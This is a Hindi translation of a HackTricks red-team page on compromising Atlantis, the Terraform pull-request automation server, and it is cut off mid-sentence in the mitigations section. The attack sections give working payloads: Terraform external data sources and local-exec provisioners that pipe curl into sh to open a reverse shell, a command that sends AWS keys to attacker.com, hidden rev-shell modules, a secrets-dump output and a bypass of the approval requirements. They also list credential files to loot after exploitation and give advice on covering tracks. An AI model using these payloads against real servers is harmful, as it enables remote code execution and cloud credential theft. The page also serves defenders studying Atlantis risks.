Atlantis Security

AWS हैकिंग सीखें शून्य से नायक तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

• यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान्स देखें!

• आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें

• The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह

• 💬 Discord समूह में शामिल हों या telegram समूह में या Twitter पर मुझे फॉलो करें 🐦 @hacktricks_live.

• HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।

मूल जानकारी

Atlantis मूल रूप से आपको अपने git सर्वर से Pull Requests से terraform चलाने में मदद करता है।

स्थानीय लैब

1. https://github.com/runatlantis/atlantis/releases पर atlantis releases पेज पर जाएं और आपके लिए उपयुक्त वाला डाउनलोड करें।

2. अपने github उपयोगकर्ता का personal token (repo access के साथ) बनाएं।

3. ./atlantis testdrive निष्पादित करें और यह एक demo repo बनाएगा जिसका उपयोग आप atlantis से बात करने के लिए कर सकते हैं।

4. आप वेब पेज को 127.0.0.1:4141 पर एक्सेस कर सकते हैं।

Atlantis पहुंच

Git सर्वर क्रेडेंशियल्स

Atlantis कई git होस्ट्स जैसे Github, Gitlab, Bitbucket और Azure DevOps का समर्थन करता है। हालांकि, इन प्लेटफॉर्म्स पर repos तक पहुंचने और क्रियाएं करने के लिए, इसे कुछ विशेषाधिकार प्राप्त पहुंच की आवश्यकता होती है (कम से कम लिखने की अनुमतियां)। डॉक्स Atlantis के लिए इन प्लेटफॉर्म्स पर विशेष रूप से एक उपयोगकर्ता बनाने की सलाह देते हैं, लेकिन कुछ लोग व्यक्तिगत खातों का उपयोग कर सकते हैं।

किसी भी मामले में, हमलावर के दृष्टिकोण से, Atlantis खाता एक बहुत ही रोचक होगा समझौता करने के लिए।

Webhooks

Atlantis वैकल्पिक रूप से Webhook सीक्रेट्स का उपयोग करता है ताकि यह सत्यापित कर सके कि उसके Git होस्ट से प्राप्त webhooks वैध हैं।

इसकी पुष्टि करने का एक तरीका होगा कि केवल आपके Git होस्ट के IPs से आने वाले अनुरोधों को allowlist करें लेकिन एक आसान तरीका है Webhook Secret का उपयोग करना।

ध्यान दें कि जब तक आप एक निजी github या bitbucket सर्वर का उपयोग नहीं करते, आपको इंटरनेट के लिए webhook endpoints को उजागर करने की आवश्यकता होगी।

Atlantis webhooks को उजागर करने वाला है ताकि git सर्वर इसे जानकारी भेज सके। हमलावर के दृष्टिकोण से यह जानना दिलचस्प होगा कि क्या आप इसे संदेश भेज सकते हैं।

प्रोवाइडर क्रेडेंशियल्स

डॉक्स से:

Atlantis सर्वर पर terraform plan और apply कमांड्स को साधारण रूप से निष्पादित करके Terraform चलाता है जिस पर Atlantis होस्ट किया गया है। जैसे जब आप Terraform स्थानीय रूप से चलाते हैं, Atlantis को आपके विशिष्ट प्रोवाइडर के लिए क्रेडेंशियल्स की आवश्यकता होती है।

यह आपके ऊपर है कि आप अपने विशिष्ट प्रोवाइडर के लिए Atlantis को क्रेडेंशियल्स कैसे प्रदान करते हैं:

• Atlantis Helm Chart और AWS Fargate Module के अपने मैकेनिज्म हैं प्रोवाइडर क्रेडेंशियल्स के लिए। उनके डॉक्स पढ़ें।

• यदि आप Atlantis को क्लाउड में चला रहे हैं तो कई क्लाउड्स के पास उन पर चल रहे एप्लिकेशन्स को क्लाउड API पहुंच देने के तरीके हैं, उदाहरण के लिए:

• AWS EC2 Roles (Search for "EC2 Role")

• GCE Instance Service Accounts

• कई उपयोगकर्ता पर्यावरण चर सेट करते हैं, उदाहरण के लिए AWS_ACCESS_KEY, जहां Atlantis चल रहा है।

• अन्य आवश्यक कॉन्फ़िग फ़ाइलें बनाते हैं, उदाहरण के लिए ~/.aws/credentials, जहां Atlantis चल रहा है।

• HashiCorp Vault Provider का उपयोग करके प्रोवाइडर क्रेडेंशियल्स प्राप्त करें।

कंटेनर जहां Atlantis चल रहा है उसमें उच्च संभावना है कि विशेषाधिकार प्राप्त क्रेडेंशियल्स होंगे प्रोवाइडर्स (AWS, GCP, Github...) के लिए जिन्हें Atlantis Terraform के माध्यम से प्रबंधित कर रहा है।

वेब पेज

डिफ़ॉल्ट रूप से Atlantis एक वेब पेज चलाएगा पोर्ट 4141 पर localhost में। यह पेज केवल आपको atlantis apply को सक्षम/अक्षम करने और repos की प्लान स्थिति की जांच करने और उन्हें अनलॉक करने की अनुमति देता है (यह चीजों को संशोधित करने की अनुमति नहीं देता है, इसलिए यह उतना उपयोगी नहीं है)।

आपको शायद इसे इंटरनेट पर उजागर नहीं मिलेगा, लेकिन यह लगता है कि डिफ़ॉल्ट रूप से कोई क्रेडेंशियल्स की आवश्यकता नहीं है इसे एक्सेस करने के लिए (और यदि वे हैं तो atlantis:atlantis डिफ़ॉल्ट वाले हैं)।

सर्वर कॉन्फ़िगरेशन

atlantis server के लिए कॉन्फ़िगरेशन कमांड लाइन फ्लैग्स, पर्यावरण चर, एक कॉन्फ़िग फ़ाइल या तीनों के मिश्रण के माध्यम से निर्दिष्ट किया जा सकता है।

• आप यहां फ्लैग्स की सूची पा सकते हैं जिसका समर्थन Atlantis सर्वर करता है

• आप यहां पा सकते हैं कि कैसे एक कॉन्फ़िग विकल्प को एक env var में बदलें

मान इस क्रम में चुने जाते हैं:

1. फ्लैग्स

2. पर्यावरण चर

3. कॉन्फ़िग फ़ाइल

ध्यान दें कि कॉन्फ़िगरेशन में आपको टोकन और पासवर्ड जैसे दिलचस्प मान मिल सकते हैं।

Repos कॉन्फ़िगरेशन

कुछ कॉन्फ़ि

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Conftest नीति जाँच

Atlantis server-side conftest नीतियों को योजना आउटपुट के खिलाफ चलाने का समर्थन करता है। इस चरण का उपयोग करने के आम उदाहरण में शामिल हैं:

• मॉड्यूल की एक सूची का उपयोग नकारना

• संसाधन के निर्माण समय पर गुणों की पुष्टि करना

• अनजाने में संसाधन हटाने को पकड़ना

• सुरक्षा जोखिमों को रोकना (उदा. सुरक्षित पोर्ट्स को सार्वजनिक रूप से उजागर करना)

आप इसे कैसे कॉन्फ़िगर कर सकते हैं, इसकी जाँच दस्तावेज़ में कर सकते हैं।

Atlantis आदेश

दस्तावेज़ में आप Atlantis चलाने के लिए आप जो विकल्प उपयोग कर सकते हैं, उन्हें पा सकते हैं:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

हमले

यदि आपको शोषण के दौरान यह त्रुटि मिलती है: Error: Error acquiring the state lock

आप इसे निम्नलिखित चलाकर ठीक कर सकते हैं:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - नए PR में Config संशोधन

यदि आपके पास किसी repository पर लिखने की पहुंच है, तो आप उस पर एक नई branch बना सकते हैं और एक PR जनरेट कर सकते हैं। यदि आप atlantis plan को निष्पादित कर सकते हैं (या शायद यह स्वचालित रूप से निष्पादित होता है) तो आप Atlantis server के अंदर RCE करने में सक्षम होंगे।

आप यह Atlantis को एक बाहरी डेटा स्रोत लोड करने के लिए कहकर कर सकते हैं। बस main.tf फ़ाइल में निम्नलिखित जैसा payload डालें:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

अधिक गुप्त हमला

आप इस हमले को और भी गुप्त तरीके से कर सकते हैं, इन सुझावों का पालन करके:

• terraform फाइल में सीधे rev shell जोड़ने के बजाय, आप एक बाहरी संसाधन लोड कर सकते हैं जिसमें rev shell हो:

module "not_rev_shell" {
source = "[e-mail]:carlospolop/terraform_external_module_rev_shell//modules"
}

आप रिवर्स शेल कोड https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules में पा सकते हैं।

• बाहरी संसाधन में, ref सुविधा का उपयोग करके रेपो के अंदर एक शाखा में terraform rev shell code को छिपाएं, जैसे: [e-mail]:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

• मास्टर में PR बनाने के बजाय, Atlantis को ट्रिगर करने के लिए 2 शाखाएं बनाएं (test1 और test2) और एक से दूसरे में PR बनाएं। हमला पूरा होने के बाद, बस PR और शाखाओं को हटा दें।

Atlantis plan Secrets Dump

आप terraform द्वारा उपयोग किए गए सीक्रेट्स को dump कर सकते हैं atlantis plan (terraform plan) चलाकर, terraform फाइल में इस तरह कुछ डालकर:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - नए PR में Config संशोधन

यदि आपके पास किसी रिपॉजिटरी पर लिखने की पहुंच है, तो आप उस पर एक नई शाखा बना सकते हैं और एक PR जनरेट कर सकते हैं। यदि आप atlantis apply निष्पादित कर सकते हैं तो आप Atlantis सर्वर के अंदर RCE करने में सक्षम होंगे।

हालांकि, आपको आमतौर पर कुछ सुरक्षा उपायों को बायपास करना पड़ सकता है:

• Mergeable: यदि Atlantis में यह सुरक्षा सेट है, तो आप केवल atlantis apply तब चला सकते हैं जब PR mergeable हो (जिसका मतलब है कि शाखा सुरक्षा को बायपास करना पड़ेगा)।

• शाखा सुरक्षा बायपास की संभावनाओं की जांच करें

• Approved: यदि Atlantis में यह सुरक्षा सेट है, तो किसी अन्य उपयोगकर्ता को PR को मंजूरी देनी होगी इससे पहले कि आप atlantis apply चला सकें

• डिफ़ॉल्ट रूप से आप Gitbot टोकन का दुरुपयोग करके इस सुरक्षा को बायपास कर सकते हैं

terraform apply को एक दुर्भावनापूर्ण Terraform फ़ाइल पर चलाना local-exec** के साथ।** आपको केवल यह सुनिश्चित करना होगा कि निम्नलिखित में से कुछ पेलोड main.tf फ़ाइल में समाप्त हो जाए:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

पिछली तकनीक से सुझावों का पालन करें इस हमले को एक अधिक गुप्त तरीके से करने के लिए।

Terraform Param Injection

जब atlantis plan या atlantis apply चलाया जाता है, तो terraform नीचे चल रहा होता है, आप atlantis पर कुछ इस तरह की टिप्पणी करके terraform को कमांड पास कर सकते हैं:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

कस्टम वर्कफ्लो

atlantis.yaml फाइल में निर्दिष्ट दुर्भावनापूर्ण कस्टम बिल्ड कमांड्स को चलाना। Atlantis pull request शाखा की atlantis.yaml फाइल का उपयोग करता है, master की नहीं। इस संभावना का उल्लेख पिछले अनुभाग में किया गया था:

यदि सर्वर साइड कॉन्फ़िग फ्लैग allow_custom_workflows को True पर सेट किया गया है, तो वर्कफ्लो को प्रत्येक रेपो की atlantis.yaml फाइल में निर्दिष्ट किया जा सकता है। यह भी संभवतः आवश्यक है कि allowed_overrides में workflow को भी निर्दिष्ट किया जाए ताकि वर्कफ्लो को ओवरराइड किया जा सके जिसका उपयोग किया जाने वाला है।

यह मूल रूप से Atlantis सर्वर में RCE को किसी भी उपयोगकर्ता को दे देगा जो उस रेपो तक पहुँच सकता है।

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

योजना/लागू सुरक्षा को बाईपास करना

यदि सर्वर साइड कॉन्फ़िग फ्लैग allowed_overrides में apply_requirements सेट किया गया है, तो एक रेपो के लिए योजना/लागू सुरक्षा को संशोधित करके उन्हें बाईपास करना संभव है।

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

यदि कोई आपके मान्य pull requests पर atlantis plan/apply टिप्पणियाँ भेजता है, तो यह terraform को उस समय चलाएगा जब आप नहीं चाहते हैं।

इसके अलावा, यदि आपने branch protection में यह कॉन्फ़िगर नहीं किया है कि जब भी कोई नया commit पुश किया जाता है तो हर PR को पुनः मूल्यांकन करने के लिए कहें, तो कोई भी दुर्भावनापूर्ण कॉन्फ़िग्स लिख सकता है (पिछले परिदृश्यों की जांच करें) terraform कॉन्फ़िग में, atlantis plan/apply चलाएं और RCE प्राप्त करें।

यह Github branch protections में सेटिंग है:

Webhook Secret

यदि आप webhook secret चुराने में सफल होते हैं या यदि कोई webhook secret इस्तेमाल नहीं किया जा रहा है, तो आप Atlantis webhook को कॉल कर सकते हैं और सीधे atlatis commands को आमंत्रित कर सकते हैं।

Bitbucket

Bitbucket Cloud webhook secrets का समर्थन नहीं करता है। इससे हमलावरों को Bitbucket से फर्जी अनुरोध भेजने की अनुमति मिल सकती है। सुनिश्चित करें कि आप केवल Bitbucket IPs को अनुमति दे रहे हैं।

• इसका मतलब है कि एक हमलावर Bitbucket से आने वाले जैसे दिखने वाले फर्जी अनुरोध Atlantis को भेज सकता है।

• यदि आप --repo-allowlist का उपयोग कर रहे हैं तो वे केवल उन repos के लिए फर्जी अनुरोध भेज सकते हैं इसलिए वे ज्यादा से ज्यादा नुकसान कर सकते हैं जो आपके अपने repos पर plan/apply करना होगा।

• इससे बचने के लिए, Bitbucket के IP पते को allowlist में डालें (Outbound IPv4 addresses देखें)।

Post-Exploitation

यदि आपने सर्वर तक पहुँच प्राप्त कर ली है या कम से कम आपको वहाँ LFI मिला है तो कुछ दिलचस्प चीजें हैं जिन्हें आपको पढ़ने की कोशिश करनी चाहिए:

• /home/atlantis/.git-credentials VCS पहुँच क्रेडेंशियल्स होते हैं

• /atlantis-data/atlantis.db VCS पहुँच क्रेडेंशियल्स अधिक जानकारी के साथ होते हैं

• /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform की स्थिति फ़ाइल

• उदाहरण: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

• /proc/1/environ Env वेरिएबल्स

• /proc/[2-20]/cmdline atlantis server की Cmd line (संवेदनशील डेटा हो सकता है)

Mitigations

Don't Use On Public Repos

क्योंकि कोई भी सार्वजनिक pull requests पर टिप्पणी कर सकता है, सभी सुरक्षा उपायों के साथ भी, बिना उचित सुरक्षा सेटिंग्स के सार्वजनिक repos पर Atlantis चलाना अभी भी खतरनाक है।

Don't Use --allow-fork-prs

यदि आप सार्वजनिक repo पर चल रहे हैं (जो अनुशंसित नहीं है, ऊपर देखें) तो आपको --allow-fork-prs सेट नहीं करना चाहिए (डिफ़ॉल्ट रूप से false) क्योंकि कोई भी अपने fork से आपके repo में एक pull request खोल सकता है।

--repo-allowlist

Atlantis आपको --repo-allowlist फ्लैग के माध्यम से वेबहुक्स से स्वीकार करने के लिए एक allowlist रेपोजिटरीज़ को निर्दिष्ट करने की आवश्यकता है। उदाहरण के लिए:

• विशिष्ट रेपोजिटरीज़: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

• आपका पूरा संगठन: --repo-allowlist=github.com/runatlantis/*

• आपके GitHub Enterprise स्थापना में हर रेपोजिटरी: --repo-allowlist=github.yourcompany.com/*

• सभी रेपोजिटरीज़: --repo-allowlist=*. जब आप एक सुरक्षित नेटवर्क में हों तो उपयोगी है लेकिन एक webhook secret सेट किए बिना खतरनाक है।

यह फ्लैग सुनिश्चित करता है कि आपका Atlantis स्थापना उन रेपोजिटरीज़ के साथ इस्तेमाल नहीं किया जा रहा है जिन्हें आप नियंत्रित नहीं करते हैं। अधिक विवरण के लिए atlantis server --help देखें।

Protect Terraform Planning

यदि आपके खतरे के मॉडल में हमलावरों द्वारा दुर्भावनापूर्ण Terraform कोड के साथ pull requests जमा करना शामिल है तो आपको जागरूक होना चाहिए कि terraform apply अनुमोदन पर्याप्त नहीं हैं। external डेटा स्रोत का उपयोग करके या एक दुर्भावनापूर्ण प्रोवाइडर निर्दिष्ट करके terraform plan में दुर्भावनापूर्ण कोड चलाना संभव है। यह कोड तब आपकी क्रेडेंशियल्स को बाहर निकाल सकता है।

इससे बचने के लिए, आप:

1. Atlantis इमेज या होस्ट में प्रोवाइडर्स को बेक करें और उत्पादन में एग्रेस को अस्वीकार करें।

2. प्रोवाइडर रजिस्ट्री प्रोटोकॉल को आंतरिक रूप से लागू करें और सार्वजनिक एग्रेस को अस्वीकार करें, इस तरह आप नियंत्रित करते हैं कि रजिस्ट्री में लिखने का अधिकार किसके पास है।

3. अनुमति नहीं दिए गए प्रोवाइडर्स या डेटा स्रोतों के उपयोग के खिलाफ या अनुमति नहीं दिए गए उपयोगकर्ताओं से PRs के खिलाफ अपने server-side repo configuration के plan चरण को संशोधित करें। इस बिंदु पर आप अतिरिक्त मान्यता भी जोड़ सकते हैं, जैसे कि PR पर "thumbs-up" की आवश्यकता होने से पहले plan को जारी रखने की अनुमति देना। Conftest यहाँ उपयोगी हो सकता है।

Webhook Secrets

Atlantis को $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET पर्यावरण चर के माध्यम से Webhook secrets सेट के साथ चलाया जाना चाहिए। --repo-allowlist फ्लैग सेट करने के बावजूद, बिना webhook secret के, हमलावर allowlisted रेपोजिटरी के रूप में पोज़ करते हुए Atlantis को अनुरोध भेज सकते हैं। Webhook secrets सुनिश्चित करते हैं कि webhook अनुरोध वास्तव में आपके VCS प्रदाता (GitHub या GitLab) से आ रहे हैं।

यदि आप Azure DevOps का उपयोग कर रहे हैं, तो webhook secrets के बजाय एक बेसिक उपयोगकर्ता नाम और पासवर्ड जोड़ें।

Azure DevOps Basic Authentication

Azure DevOps सभी webhook इवेंट्स में एक बेसिक प्रमाणीकरण हेडर भेजने का समर्थन करता है। इसके लिए आपके webhook स्थान के लिए एक HTTPS URL का उपयोग करना आवश्यक है।

SSL/HTTPS

यदि आप webhook secrets का उपयोग कर रहे हैं लेकिन आपका ट्रैफ़िक HTTP पर है तो webhook secrets चोरी हो सकते हैं। --ssl-cert-file और --ssl-key-file फ्लैग का उपयोग करके SSL/HTTPS को सक्षम करें।

Enable Authentication on Atlantis Web Server

वेब सेवा में प्रमाणीकरण स